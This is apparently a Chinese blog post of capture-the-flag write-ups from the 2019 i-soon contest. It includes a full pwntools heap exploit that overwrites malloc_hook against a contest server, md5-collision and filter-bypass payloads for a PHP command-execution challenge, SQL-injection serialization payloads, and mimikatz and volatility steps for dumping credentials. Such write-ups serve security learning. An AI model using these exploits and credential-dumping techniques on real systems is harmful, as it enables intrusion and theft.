Notes of Laurel | 大雨将至

i-soon2019 wp

Word count: 2.4kReading time: 11 min
2019/12/01 Share

十二月,你好。


安洵杯2019WP


这次比赛可能参赛队伍少吧,所以就冲了个第二,再接再厉吧。

我就做了misc的三道和一道justaBase,可能大师傅们都没打吧,所以拿了三个一血我人都傻了。。。

我们不太会AWD,所以线下大概率会被锤爆。

下面是队伍(几乎)所有题目的wp。


WEB

easy_web

读到了源码,img是两次base64加密+一次hex加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

绕过md5

1
2
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

dir可以列目录,flag在/flag

$ * <被过滤。。。mv没权限,

利用转义绕过ca\t /flag

得到flag:I-SOON{dec77700473a26569a9cc0773dc}

easy_serialize_php

web1

d0g3_f1ag.php

_SESSION[flagphp]=;s:1:”1”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

web2

web3

web4

这不是文件上传

文件名处sql盲注,不是sql注入。反序列化:

web5

web6

利用sql注入将数据写入attr字段

1
2
3
4
5
6
7
8
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('eval','a95cf3614e296909.jpg','1',','jpg','pic/a95cf3614e296909.jpg','a:2:{s:5:"width";i:2573;s:6:"height";i:16188;}')

class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);

关键点是16进制用hex编码

1
2
3
insert into images VALUES('1','2','3','4',0x41)

4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a31313a222f6574632f706173737764223b7d

web7

web8

web9

I-SOON{83639281b4b949f9bb85ff059c60cc29}


RE

Easy_Encryption

re1

re2

无法直接反编译encode为C语言代码,原因是IDA认为堆栈不平衡。

re3

re4

re5

这时候就可以使用F5查看C语言代码了,可以看到是通过两个循环对输入进行加密,要求每一位必须是小写英文字母,开头输入a对应输出g,之后循环递减输出。

re6

re7

re8

check函数对encode的结果又做了base64加密,然后与另一串字符串做比较。

re9

re10

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <windows.h>

int main()
{
char check[] = "artqkoehqpkbihv";
char key[] = "uvwxyzabcdefghijklmnopqrst";
//abcdefghijklmnopqrstuvwxyz

for(int i=0; i<strlen(check); i++)
{
int index = check[i]-'a'+i;
printf("%c", key[index%26]);
}
}

flag:umpnineissogood


PWN

heap1

pwn1

get_input 函数中存在off-by-one漏洞, banner 函数中可以利用格式化字符串漏洞泄露libc地址,程序中限制了malloc 的大小 要大于0x80, 那么可以改写global_max_fast扩展fastbin 的大小, 再通过往_IO_2_1_stdin_附近写入0xf1伪造fake chunk作为跳板, 之后再覆盖malloc_hook 为one_gadget 即可getshell。

pwn2

修改global_max_fast

pwn3

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
context.log_level='debug'
debug = 0
d = 0

execve = "./heap1"
if debug == 1:
p = process(execve)
if d == 1:
gdb.attach(p)
else:
p = remote("47.108.135.45", 20143)

def add(idx, size, content):
p.sendlineafter(">> ", str(1))
p.sendlineafter("Enter the index you want to create (0-10):", str(idx))
p.sendlineafter("Enter a size:", str(size))
p.sendlineafter("Enter the content:", content)

def free(idx):
p.sendlineafter(">> ", str(2))
p.sendlineafter("Enter an index:", str(idx))

def edit(idx, content):
p.sendlineafter(">> ", str(4))
p.sendlineafter("Enter an index:", str(idx))
p.sendlineafter("Enter the content:", content)

def exploit():
p.sendlineafter("Enter your name: ", "%15$p")
leak = int(p.recvline()[-15:-1], 16)
libc_base = leak - (0x7fa5aa248830 - 0x7fa5aa228000)
log.info("libc_base -> " + hex(libc_base))

libc = ELF("heap1_libc-2.23.so")
global_max_fast = libc_base + 0x3c67f8 - 0x10
stdin = libc_base + libc.symbols['_IO_2_1_stdin_'] + 0x8f
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = libc_base + 0xf1147

add(0, 0x88, 'a')
add(1, 0x88, 'b')
add(2, 0x88, 'c')
add(3, 0x88, 'd')
add(4, 0x88, 'e')
add(5, 0xe8, 'f')
add(6, 0x88, 'h')

edit(0, 'a'*0x88 + p8(0xf1)) #chunk1 -> 0xf1
edit(1, 'b'*0x88 + p64(0x91))
edit(2, '\x00'*0x58 + p64(0x21) + '\x00'*0x18 + p64(0x21))

edit(3, 'c'*0x88 + p8(0xf1)) #chunk4 -> 0xf1
edit(4, 'd'*0x87)
edit(5, '\x00'*0x58 + p64(0x21) + '\x00'*0x18 + p64(0x21))
free(1)
add(1, 0xe8, '\x00')
free(4)
add(4, 0xe8, '\x00')

free(2) #change global_max_fast
edit(1, '\x00'*0x88 + p64(0x91) + p64(0) + p64(global_max_fast))
add(2, 0x88, '\x00')

free(5)
edit(4, 'd'*0x88 + p64(0xf1) + p64(stdin) + p64(0x12345678))
add(5, 0xe8, 'i') #7
addr1 = libc_base + 0x3c49c0
addr2 = libc_base + 0x3c36e0
log.info("addr1 -> " + hex(addr1))
log.info("addr2 -> " + hex(addr2))

payload = '\x00' + p64(addr1) + p64(0)*3 + p64(0xffffffff) + p64(0)*2 + p64(addr2)
payload += 'a'*(0xd8 - len(payload)) + p64(0xf1)
log.info("stdin -> " + hex(stdin))
add(6, 0xe8, payload) #8

free(5)
fake_chunk = libc_base + 0x3c4a4f
log.info("fake_chunk -> " + hex(fake_chunk))
edit(4, 'd'*0x88 + p64(0xf1) + p64(fake_chunk))
add(5, 0xe8, 'j')
payload = 'a'*(0xb9 - 0x10) + p64(one_gadget) + p64(one_gadget)
add(6, 0xe8, payload)

free(5)
add(5, 0x88, '\x00')

exploit()
p.interactive()

flag:I- SOON{ 6b500e83da3c41 C 4b5a89e209443af6d}


MISC

不知道是为啥,这次的msic做着很顺手,基本上没走弯路。

吹着贝斯扫二维码

题目链接:http://1t.click/bs9F

提取码:285l

给了很多个无后缀的文件和一个加密的flag.zip,压缩包注释为:

1
GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY

添加文件后缀.jpg发现是二维码的一部分,需要拼一下。但是图片的顺序是不对的,所以我只能先找好四条边的,然后慢慢往中间补,其实挺简单,就是麻烦了一点。大概补了一个小时,如图 - -

misc5

扫码得到hint:

1
BASE Family Bucket ??? 85->64->85->13->16->32

那堆注释明显不是base85,所以按照base32->base16->rot13->base85->base64->base85的顺序解密得到密码:

1
ThisIsSecret!233

解密后得到flagflag{Qr_Is_MeAn1nGfuL}

MUSIC

题目链接:http://1t.click/bs9G

提取码:b6yz

password.txt内容为:3.mp3的密码是123456哦

使用MP3stego解密:

1
.\Decode.exe -X "E:\BaiduNetdiskDownload\music\3.mp3" -P 123456

得到3.mp3.txt,内容为:密码是123qwe123

解压林俊杰压缩包,得到一个音频文件,使用SilentEye解密得到flag:flag{lsb_is_so_easy}

ATTACK

题目链接:http://1t.click/bs9J

提取码:gmtx

打开流量包,看一下HTTP,发现攻击者导出了lsass.dmp文件,第一反应就是导出来。lsass是windows系统的一个进程,用于本地安全和登陆策略。既然已经dump出来了,就可以利用mimikatz获取administrator的密码:

1
2
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

misc1

得到:

1
2
3
Username:Administrator
Domain:WIN7
Password:W3lc0meToD0g3

密码还不是flag,此时再搜索一下字符串flag,发现有一个flag.txt,追踪流看到是在一个压缩包里面,导出来发现需要密码,将W3lc0meToD0g3输入进行解密,得到flagD0g3{3466b11de8894198af3636c5bd1efce2}

secret

题目链接:http://1t.click/bs9N

提取码:hi4w

给了个dmp文件,直接上volatility:

1
volatility -f mem.dump imageinfo

然后看一下进程:

1
volatility -f mem.dump --profile=Win7SP1x64 pslist

看一下保留的cmd命令使用情况:

1
volatility -f mem.dump --profile=Win7SP1x64 cmdscan

看到有个提示:

1
Cmd #0 @ 0x2229d0: flag.ccx_password_is_same_with_Administrator

看样子是有一个flag.ccx文件,那就扫描一下:

1
volatility -f mem.dump --profile=Win7SP1x64 filescan|grep flag

导出文件:

1
volatility -f mem.dump --profile=Win7SP1x64 dumpfiles -Q 0x000000003e435890 -D ./

同时,还需要找到Administrator的密码:

1
2
3
volatility -f mem.dump --profile=Win7SP1x64 hashdump

Administrator:500:6377a2fdb0151e35b75e0c8d76954a50:0d546438b1f4c396753b4fc8c8565d5b:::

利用彩虹表解密 - -

misc3

得到明文为:ABCabc123

有了flag.ccx但是不知道咋打开,百度上有人说用CorelDraw软件,有人说用造价软件,都安装下来试了一遍但是都不行。。。绝望。。。

想到提示说password和管理员一样,那大概是要解密,所以就搜一下ccx文件解密,发现搜到了一款加密软件CnCrypt。但是这是加密的,然后我搞了n久都没找到哪儿可以解密。后来在进程里面看到有一个CnCrypt进程,那就确定了是这个东西,所以就再仔细看了一下,嗯然后就找到了解密的地方了23333。

打开后选择加密卷->flag.ccx,点击加载加密卷,输入密码,卷类型CnCrypt或TrueCrypt,加载到磁盘后打开有f1ag.txt - -

misc4

得到flag:flag{now_you_see_my_secret}


Crypto

This_is_not_a_standard_AES256

服务器端会给出sbox,key和cipher,求生S盒的逆(S-1)映射后跑一下脚本即可解出flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
table=[xxxxxxxx] //nc的sbox
table1=[xxx] //逆映射
for i in range(16):
for j in range(16):
a=table[i][j]
n=a % 16
m=a//16
table1[m][n]=i*16+j

for i in range(16):
for j in range(16):
print(table1[i][j],end=",")
//求出的table1放到aes256.py里的_InvSBox的table

flag{sbox_to_invsbox}

funney-php

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$miwen="=Z2KqkyJnu1IKMIIHgyJDO1GBkRGCWIFWqxFSEHFXS0C/NxC80GB54mC9DQA0RGZ";

function decode($encode_str){

$__ = base64_decode(str_rot13(strrev($encode_str)));

for ($i=0; $i < strlen($encode_str); $i++) {

$_.=chr(ord($__[$i])-$i);

}

echo '<br>解密后的flag为(这是ascii转换为字符即可):'.$_.'<br>';

}
// flag{easy_encode}

justaBase

几分钟就出来了,感觉这应该算杂项,不算密码。

base.txt:

1
VGhlIGdlb@xvZ#kgb@YgdGhlIEVhcnRoJ#Mgc#VyZmFjZSBpcyBkb@!pbmF)ZWQgYnkgdGhlIHBhcnRpY#VsYXIgcHJvcGVydGllcyBvZiB#YXRlci$gUHJlc@VudCBvbiBFYXJ)aCBpbiBzb@xpZCwgbGlxdWlkLCBhbmQgZ@FzZW(!cyBzdGF)ZXMsIHdhdGVyIGlzIGV$Y@VwdGlvbmFsbHkgcmVhY#RpdmUuIEl)IGRpc#NvbHZlcywgdHJhbnNwb#J)cywgYW%kIHByZWNpcGl)YXRlcyBtYW%%IGNoZW!pY@FsIGNvbXBvdW%kcyBhbmQgaXMgY@(uc#RhbnRseSBtb@RpZnlpbmcgdGhlIGZhY@Ugb@YgdGhlIEVhcnRoLiBFdmFwb#JhdGVkIGZyb@)gdGhlIG(jZWFucywgd@F)ZXIgdmFwb#IgZm(ybXMgY@xvdWRzLCBzb@!lIG(mIHdoaWNoIGFyZSB)cmFuc#BvcnRlZCBieSB#aW%kIG(@ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBmcm(tIHRoZSBjbG(!ZHMgcHJvdmlkZXMgdGhlIGVzc@VudGlhbCBhZ@VudCBvZiBjb@%)aW%lbnRhbCBlcm(zaW(uOiByYWluLlRoZSByYXRlIGF)IHdoaWNoIGEgbW(sZWN!bGUgb@Ygd@F)ZXIgcGFzc@VzIHRob#VnaCB)aGUgY#ljbGUgaXMgbm()IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM^IENURnsyMi!RV)VSVFlVSU*tUExLSkhHRkRTLUFaWENWQk%NfQ==

显然是base64,但是中间夹杂着一些不应该出现的符号,仔细观察可以发现这些符号在键盘上下标都对应着数字,所以替换掉就完事儿了:

1
VGhlIGdlb2xvZ3kgb2YgdGhlIEVhcnRoJ3Mgc3VyZmFjZSBpcyBkb21pbmF0ZWQgYnkgdGhlIHBhcnRpY3VsYXIgcHJvcGVydGllcyBvZiB3YXRlci4gUHJlc2VudCBvbiBFYXJ0aCBpbiBzb2xpZCwgbGlxdWlkLCBhbmQgZ2FzZW91cyBzdGF0ZXMsIHdhdGVyIGlzIGV4Y2VwdGlvbmFsbHkgcmVhY3RpdmUuIEl0IGRpc3NvbHZlcywgdHJhbnNwb3J0cywgYW5kIHByZWNpcGl0YXRlcyBtYW55IGNoZW1pY2FsIGNvbXBvdW5kcyBhbmQgaXMgY29uc3RhbnRseSBtb2RpZnlpbmcgdGhlIGZhY2Ugb2YgdGhlIEVhcnRoLiBFdmFwb3JhdGVkIGZyb20gdGhlIG9jZWFucywgd2F0ZXIgdmFwb3IgZm9ybXMgY2xvdWRzLCBzb21lIG9mIHdoaWNoIGFyZSB0cmFuc3BvcnRlZCBieSB3aW5kIG92ZXIgdGhlIGNvbnRpbmVudHMuIENvbmRlbnNhdGlvbiBmcm9tIHRoZSBjbG91ZHMgcHJvdmlkZXMgdGhlIGVzc2VudGlhbCBhZ2VudCBvZiBjb250aW5lbnRhbCBlcm9zaW9uOiByYWluLlRoZSByYXRlIGF0IHdoaWNoIGEgbW9sZWN1bGUgb2Ygd2F0ZXIgcGFzc2VzIHRob3VnaCB0aGUgY3ljbGUgaXMgbm90IHJhbmRvbQpBbmQgdGhlIGZsYWcgaXM6IENURnsyMi1RV0VSVFlVSU8tUExLSkhHRkRTLUFaWENWQk5NfQ==

解密得到flag:CTF{22-QWERTYUIO-PLKJHGFDS-AZXCVBNM}


CATALOG
  1. 1. 安洵杯2019WP
  2. 2. WEB
    1. 2.1. easy_web
    2. 2.2. easy_serialize_php
    3. 2.3. 这不是文件上传
  3. 3. RE
    1. 3.1. Easy_Encryption
  4. 4. PWN
    1. 4.1. heap1
  5. 5. MISC
    1. 5.1. 吹着贝斯扫二维码
    2. 5.2. MUSIC
    3. 5.3. ATTACK
    4. 5.4. secret
  6. 6. Crypto
    1. 6.1. This_is_not_a_standard_AES256
    2. 6.2. funney-php
    3. 6.3. justaBase